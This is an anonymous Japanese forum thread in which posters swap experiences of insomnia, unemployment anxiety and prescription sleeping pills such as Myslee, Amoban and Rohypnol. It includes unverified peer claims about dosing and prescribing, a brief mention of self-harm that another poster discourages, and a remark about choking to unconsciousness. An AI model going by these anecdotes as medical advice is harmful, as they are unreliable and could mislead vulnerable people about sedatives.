一日ﾈｯﾄｻｰﾌｨﾝしかやることないからかな
ちなみに急に仕事が入るってこともない


けどリストラ始まってっから肩叩きされる日は近いだろうな

>>309
アームカットとかやめろよ　そんなんで救われることねーだろ

関節技で首の辺り締めて貰って落ちた場合でもぐっすり寝た事になってんのかな

今目覚めた


無職最高！

>>312
羨ましいな・・・何だよその仕事
>>315
無職歴長い俺も同意だが、金とか将来のこと考えると不安になって自律神経おかしくならない？

あと不眠のヤツは便通に関しても問題持ってない？
ていうか頭がスッキリしなくて人生そのものがボンヤリとした不安に襲われる・・・

不眠症っぽいが便通はいいな。やっぱ将来の
不安が原因だな。取り除く為には行動せねば。

寝付き悪いし、寝ても2〜3時間ごとに目が覚める･･･

眠りすぎると、かえって疲れる

今日の夜初めてアバモンっての飲む
副作用とか注意事項については聞いたけど体験者の話を聞きたい

マイスリーが全然効かない

>>320
ｱﾓﾊﾞﾝ　オレは大して効かなかったらしくよく分からんかった

>>321
飲んで15〜30分で少し眠くなるけど
それ過ぎると変にﾊｲﾃﾝｼｮﾝになって逆に眠れなくなる気がする
眠い、寝かけてるって時に飲むとスッと眠れる

過眠が酷い
今日、１５時間寝たのにまた眠くなってきた
時間が無駄すぎる

>>317
俺も便秘にはならないんだが、緊張や不安が有ると下痢化する＆頻繁にトイレ行きたくなる
んだよね

>>320
苦くて笑う
朝起きて水飲むと苦みが口の中一杯に広がる
>>323
ニートなら裏山
心地よい眠りで一日の殆どを過ごせるなら、健康的で最も楽な人生だわ

彼女が添い寝してくれるとすぐに寝れちゃう

>>320
デジモン乙

適度な運動と脳を使えば寝れるよねー

精神的に寝れないのは↑+他に夢中になれる物がないから
考えられる物がないから不安になり寝ようにも寝れない

>>327
ガチの不眠はその程度じゃ眠れてもレムノンレムの１クールで目が覚める
眠剤は耐性付かなければ眠れるけど気絶するように意識失うのがなぁ

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　|　 (^o^)ﾉ　| ＜ おやすみー
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明石家さんまがショートスリーパーとかだったな

夜勤辛いねん

厨二病のファンタジー漫画を脳内で創作してると３０分以内に必ず眠れるようになります
注意することはグロや欝の漫画は避け、真面目に創作すること
夢でストレスが発散でき、才能があればそれを小説や漫画にして一攫千金も夢ではありません

今起きた！医者にかかるって考えたこともないな　病気なのかこれ

あー明日診察だわいきたくねー
薬もらって次回の予約とるだけだもん

内科でマイスリーって出して貰えるんだっけ？

>>335
全然おｋ、ロヒプノールぐらいまで大丈夫

寝てるのに眠いのは睡眠時無呼吸症候群じゃねえか。
個人的には枕を抱きながらうつ伏せ状態で寝るようにしてから
気道が空いたのか改善した。

>>336
サンクス
ロヒプノールは弱いのが効かなかったから直ぐ出されたな

ここ数年、毎日パソコンと部屋の電気をつけっぱなしで眠ってる
いつも、パソコンをやっててちょっと一休みしようと思って
横になると眠ってしまう

かぜをひいてセキで
昨晩ねれんかった

ハア・・・・・

マイスリー二錠飲んだらヤバい夢みたわ

ｴﾘﾐﾝのんで二年。

交代勤務やってたときは眠れんかったわ
神経質な奴は交代勤務向いてない

眠剤飲んでるが耐性ついたのかだんだん睡眠時間が減ってゆく・・・
おまけに昼夜逆転だし

>>342
詳しく
>>344
同意
神経質で内向的な俺はストレスが体に表れやすいし・・・

不眠の他にも、食欲不振とか胃腸関連とか、普通に生きていく機能に影響するよな